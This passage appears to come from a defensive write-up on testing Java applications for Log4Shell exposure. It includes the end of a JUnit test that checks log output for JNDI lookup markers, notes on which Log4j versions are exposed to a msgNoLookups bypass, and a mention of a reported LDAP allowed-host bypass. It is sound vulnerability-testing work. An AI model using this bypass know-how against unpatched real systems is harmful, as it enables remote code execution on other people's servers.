Files.deleteIfExists(Paths.get("target", "Log4ShellExposureTestMsgNoLookupsBypass.out"));
Files.writeString(Paths.get("target", "Log4ShellExposureTestMsgNoLookupsBypass.out"), out, StandardCharsets.UTF_8, StandardOpenOption.CREATE);
//Apply assertion using the JNDI lookup marker
Assert.assertFalse("JNDI lookup tentative identified, see target/Log4ShellExposureTestMsgNoLookupsBypass.out file for details.", out.contains(TEST_FAILED_MARKER));
}
}
Version 2.14.1 seems to be exposed to the bypass:
Version 2.15.0 do not seems to be exposed to the bypass:
Note that a usage of the printf()
function, like for example victim.printf(Level.INFO,"%s",TEST_PAYLOAD)
, have the same effect that using the ThreadContext
combined with a expression in the log pattern:
On version 2.15.0 - By default:
- JNDI with DNS protocol is not allowed:
- JNDI with LDAP(S) protocol require defining allowed hosts:
Regarding LDAP(S), a bypass of the validation against allowed hosts was identified: https://twitter.com/pwntester/status/1471465662975561734
@tbird5 Thank you very much for the feedback I will work on it to address the issues raised 👍
@tbird5 New version published with the issues mentioned normally fixed (at least using my test cases) 👍
From now I will manage the script and the analysis content here.
It will facilitate the issue handling, sharing, publishing and backup of the content.
For a project managed via maven, you can use the following set of command to analyses all the modules dependencies:
For project managed via gradle, you can use this task to perform the
mvn dependency:copy-dependencies
of maven.